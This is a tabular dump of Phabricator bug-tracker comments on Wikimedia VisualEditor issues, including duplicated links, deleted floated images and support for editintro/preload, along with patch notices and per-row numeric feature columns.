+243824,VisualEditor: Link duplicated,"Not the same issue; user clearly managed to add a linked space after the italics, which is a UX issue we need to fix generally.",,,1372863371,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-isdw3zrrbc3uvww3ghe4,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+243819,VisualEditor: Link duplicated,"I haven't been able to, but then this kind of thing is pretty difficult to duplicate (unless you want me spending 40 minutes basically doing my damnedest to break linking and looking at what happens each time).",,,1372859288,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-isdw3zrrbc3uvww3ghe4,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0
+243815,VisualEditor: Link duplicated,This isn't necessarily the same issue. Is it reproduceable?,,,1372858764,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-isdw3zrrbc3uvww3ghe4,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+243812,VisualEditor: Link duplicated,It seems not - https://en.wikipedia.org/w/index.php?title=List_of_television_series_canceled_after_one_episode&curid=30873088&diff=562679038&oldid=562678963,,,1372851661,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-isdw3zrrbc3uvww3ghe4,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0
+243810,VisualEditor: Link duplicated,"We fixed this as part of the DM tweaks, I believe.",,,1372017902,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-isdw3zrrbc3uvww3ghe4,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+51645,VisualEditor: Deleting the slug a floated image appears in deletes the image… but retains the caption as a paragraph,"Deleting leading newline destroys [[File:....]]
+
+Steps to reproduce:
+
+1. Open a page with [[File:...]] as first line
+
+2. VE adds a leading newline into the edit window
+
+3. Delete this leading newline because for experienced editor it looks superfluous
+
+4. Save
+
+Result: [[File:...]] syntax is destroyed, only the caption is left.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://test.wikipedia.org/w/index.php?title=User:Raymond/image&diff=174494&oldid=174493",Medium,50.0,1371404760,1383957760.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-e2zkvddmlxs36w5rmyck,task_description,resolved,True,c1,2,False,False,False,-3,,0,0,0,1,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+241688,VisualEditor: Deleting the slug a floated image appears in deletes the image… but retains the caption as a paragraph,Backdating to when I *think* we fixed this.,,,1383959019,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e2zkvddmlxs36w5rmyck,task_subcomment,,True,c1,3,True,,,18,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+241682,VisualEditor: Deleting the slug a floated image appears in deletes the image… but retains the caption as a paragraph,"I cannot reproduce it now. Looks like it got fixed. Therefore, changing the status to resolved-fixed .
+Reopen it if you think it still exists.",,,1383957760,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-e2zkvddmlxs36w5rmyck,task_subcomment,,True,c1,3,False,,,18,,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+241679,VisualEditor: Deleting the slug a floated image appears in deletes the image… but retains the caption as a paragraph,"Deleting the slug a floated item is locked into is ""designed"" to delete the item, so this is expected behaviour. See bug 43026 for a wider discussion - we need a better UX concept around here, I feel.
+
+However, leaving the caption there is... not meant to happen. Re-purposing.",,,1371437921,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e2zkvddmlxs36w5rmyck,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,0
+51622,Add support for (the equivalent of?) editintro and preload,"In VE, new users may use tutorials/wizards which use [[ https://en.wikinews.org/wiki/Help:Creating_and_using_editintro_and_preload_templates | editintro/preload ]] features, which aren't supported by the visual editor yet.
+",Medium,50.0,1371315660,1506351148.0,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-3z252ihuxf33ir4how73,task_description,resolved,True,c1,2,False,False,False,-3,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+936116,Add support for (the equivalent of?) editintro and preload,"Change 380530 merged by jenkins-bot:
+[mediawiki/extensions/VisualEditor@master] Api: include preload content when section=new
+
+[[https://gerrit.wikimedia.org/r/380530]]
+",,,1506354915,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,221,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+936091,Add support for (the equivalent of?) editintro and preload,"Change 380530 had a related patch set uploaded (by DLynch; owner: DLynch):
+[mediawiki/extensions/VisualEditor@master] Api: include preload content when section=new
+
+[[https://gerrit.wikimedia.org/r/380530]]
+",,,1506353477,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,221,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+935959,Add support for (the equivalent of?) editintro and preload,Adding the tag per https://www.mediawiki.org/w/index.php?title=Topic:Tys3st4u4fbxis43 .,,,1506344878,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,221,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+933926,Add support for (the equivalent of?) editintro and preload,"Just to confirm, now that patch has made its way to the beta cluster, the inputbox button works and gets us this:
+
+{F9677679}",,,1505939521,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,220,,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+933676,Add support for (the equivalent of?) editintro and preload,"Change 379246 merged by jenkins-bot:
+[mediawiki/extensions/VisualEditor@master] Hooks: remove preloadtitle from unsupported list
+
+[[https://gerrit.wikimedia.org/r/379246]]
+",,,1505921950,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,220,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+933665,Add support for (the equivalent of?) editintro and preload,"Change 379246 had a related patch set uploaded (by DLynch; owner: DLynch):
+[mediawiki/extensions/VisualEditor@master] Hooks: remove preloadtitle from unsupported list
+
+[[https://gerrit.wikimedia.org/r/379246]]
+",,,1505920720,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,220,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+933667,Add support for (the equivalent of?) editintro and preload,"Ah, that's because I didn't remove `preloadtitle` from the `unsupportedEditParams` list.
+
+Note that if you edit the URL to removes just that parameter, it gets the expected result: https://en.wikipedia.beta.wmflabs.org/w/index.php?title=Template_talk:Submit_an_edit_request&action=edit&preload=Template%3ASubmit_an_edit_request%2Fpreload&editintro=Template%3AEdit_protected%2Feditintro&preloadparams%5B%5D=&preloadparams%5B%5D=Template%3ASubmit_an_edit_request&section=new",,,1505920852,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,220,,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+933662,Add support for (the equivalent of?) editintro and preload,"Ah, that's because I didn't remove `preloadtitle` from the `unsupportedEditParams` list.
+
+Note that if you edit the URL to removes just that parameted, it gets the expected result: https://en.wikipedia.beta.wmflabs.org/w/index.php?title=Template_talk:Submit_an_edit_request&action=edit&preload=Template%3ASubmit_an_edit_request%2Fpreload&editintro=Template%3AEdit_protected%2Feditintro&preloadparams%5B%5D=&preloadparams%5B%5D=Template%3ASubmit_an_edit_request&section=new",,,1505920393,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,220,,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+933498,Add support for (the equivalent of?) editintro and preload,"What is the best way to test this?
+
+I tried using [[https://en.wikipedia.beta.wmflabs.org/wiki/Template:Submit_an_edit_request|Template:Submit an edit request]] on the beta cluster, which appears to use preloading, but it kicked me straight in to the 2010 editor even though I've got the 2017 editor beta feature enabled. I don't even know where I'd begin to test it in the visual editor.",,,1505905997,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,True,,,220,,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,1,1,1,1,1,0,1,1
+932399,Add support for (the equivalent of?) editintro and preload,"Change 378343 merged by jenkins-bot:
+[mediawiki/extensions/VisualEditor@master] Enable preload in VisualEditor
+
+[[https://gerrit.wikimedia.org/r/378343]]
+",,,1505764754,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,220,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+932160,Add support for (the equivalent of?) editintro and preload,"Change 378726 merged by jenkins-bot:
+[mediawiki/extensions/VisualEditor@master] DesktopArticleTarget: Support preloadtitle in source mode
+
+[[https://gerrit.wikimedia.org/r/378726]]
+",,,1505749186,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,220,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+932137,Add support for (the equivalent of?) editintro and preload,"Change 378726 had a related patch set uploaded (by DLynch; owner: DLynch):
+[mediawiki/extensions/VisualEditor@master] DesktopArticleTarget: Support preloadtitle in source mode
+
+[[https://gerrit.wikimedia.org/r/378726]]
+",,,1505747261,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,220,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+931356,Add support for (the equivalent of?) editintro and preload,"That patch is very much the ""better than nothing"" version James suggested. It pulls the article, substitutes in the parameters, and then if it's in visual mode it runs it through Parsoid. It should be functionally-equivalent for the 2017 wikitext editor, though, since that doesn't rely on always containing valid documents.",,,1505512035,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,219,,1,0,1,0,1,1,0,0,1,1,1,1,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,1,0,0
+931353,Add support for (the equivalent of?) editintro and preload,"Change 378343 had a related patch set uploaded (by DLynch; owner: DLynch):
+[mediawiki/extensions/VisualEditor@master] Enable preload in VisualEditor
+
+[[https://gerrit.wikimedia.org/r/378343]]
+",,,1505511929,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,219,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+888417,Add support for (the equivalent of?) editintro and preload,This would be very useful for the [[ https://en.wikiversity.org/wiki/Wikidebate | Wikidebate ]] project at Wikiversity.,,,1499341318,,PHID-USER-lucj4cqevg3ebah7vybd,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,209,,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+786447,Add support for (the equivalent of?) editintro and preload,"Change 329796 merged by jenkins-bot:
+Add editintro to notices
+
+[[https://gerrit.wikimedia.org/r/329796]]",,,1483474747,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,183,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+785360,Add support for (the equivalent of?) editintro and preload,"Change 329796 had a related patch set uploaded (by Esanders):
+Add editintro to notices
+
+[[https://gerrit.wikimedia.org/r/329796]]
+",,,1483203829,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,182,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+774711,Add support for (the equivalent of?) editintro and preload,"VisualEditor having preload support for page creation would be nice. Preload is used in article wizards (e.g. [[ https://en.wikipedia.org/wiki/Wikipedia:Article_wizard/Ready_for_submission | en-wp ]], [[ https://ru.wikipedia.org/wiki/Шаблон:Article_wizard/create | ru-wp ]]).",,,1481256401,,PHID-USER-aklqcs2xae5ghg6icqmd,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,179,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+773271,Add support for (the equivalent of?) editintro and preload,"It looks like there are similar problems on Mobile view, which may be of interest to anyone who is relying on preload:  {T126190}",,,1481076359,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,179,,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+684079,Add support for (the equivalent of?) editintro and preload,ProofreadPage needs support of the  EditFormPreloadText hook instead of editinfo/preload parameters. Tracked by task T138588,,,1466772802,,PHID-USER-5paybpgtxjrhikdos3p5,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,155,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+683673,Add support for (the equivalent of?) editintro and preload,"Thomas's suggestion is that if the article is a 404 (non-extant), we sling the contents of `preload` parameter's indicated article's Parsoid blob as the initial version of the article, and if that's not balanced wikitext (and so not the desired HTML) ""oh well"", at least it's better than nothing. Thoughts?",,,1466694115,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,True,,,155,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,0,1,1,1,1,1,0,1,0,0,1,0,0,1,1,0
+683670,Add support for (the equivalent of?) editintro and preload,A note from @tpt that this is pretty important for successful #proofreadpage integration.,,,1466693905,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,True,,,155,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0
+479089,Add support for (the equivalent of?) editintro and preload,"These tasks *really* shouldn't have been merged, despite being about 'the same' area of code (one is about important functionality half done through on-wiki hacky JavaScript, the other is about modifying a fundamental user pattern in core to work with VisualEditor); un-merging.",,,1434985826,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,True,,,103,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0
+479087,Add support for (the equivalent of?) editintro and preload,"These tasks *really* shouldn't have been merged, despite being about 'the same' extension (one is about important functionality half done through on-wiki hacky JavaScript, the other is about modifying an extension to work with VisualEditor); un0merging.",,,1434985691,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,True,,,103,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0
+478923,Add support for (the equivalent of?) editintro and preload,"We've encountered this issue too on a private MediaWiki. 
+Would be really great to have this supported - this would make the VE more versatile in some use cases!
+
+Thanks!",,,1434967229,,PHID-USER-wtbw6n3qdyre3vir7o3z,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,103,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+478609,Add support for (the equivalent of?) editintro and preload,"nominating this as Q1 blocker, since this is closely tied to the current BLP practices on english wikipedia, a very visible and sensitive part of our policies.",,,1434831191,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,True,,,102,,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+478589,Add support for (the equivalent of?) editintro and preload,"I've merged the above, and copied the details into the description above.",,,1434824570,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,102,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+411903,Add support for (the equivalent of?) editintro and preload,"Editintro and preload are parameters supported by the core, but it is ""hidden feature"", which is exposed natively by InputBox extension (on non native - using external link)",,,1424027843,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,84,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+411836,Add support for (the equivalent of?) editintro and preload,Editintro/preloud are parts of inputbox extension? Or how it is related?,,,1424000855,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,84,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
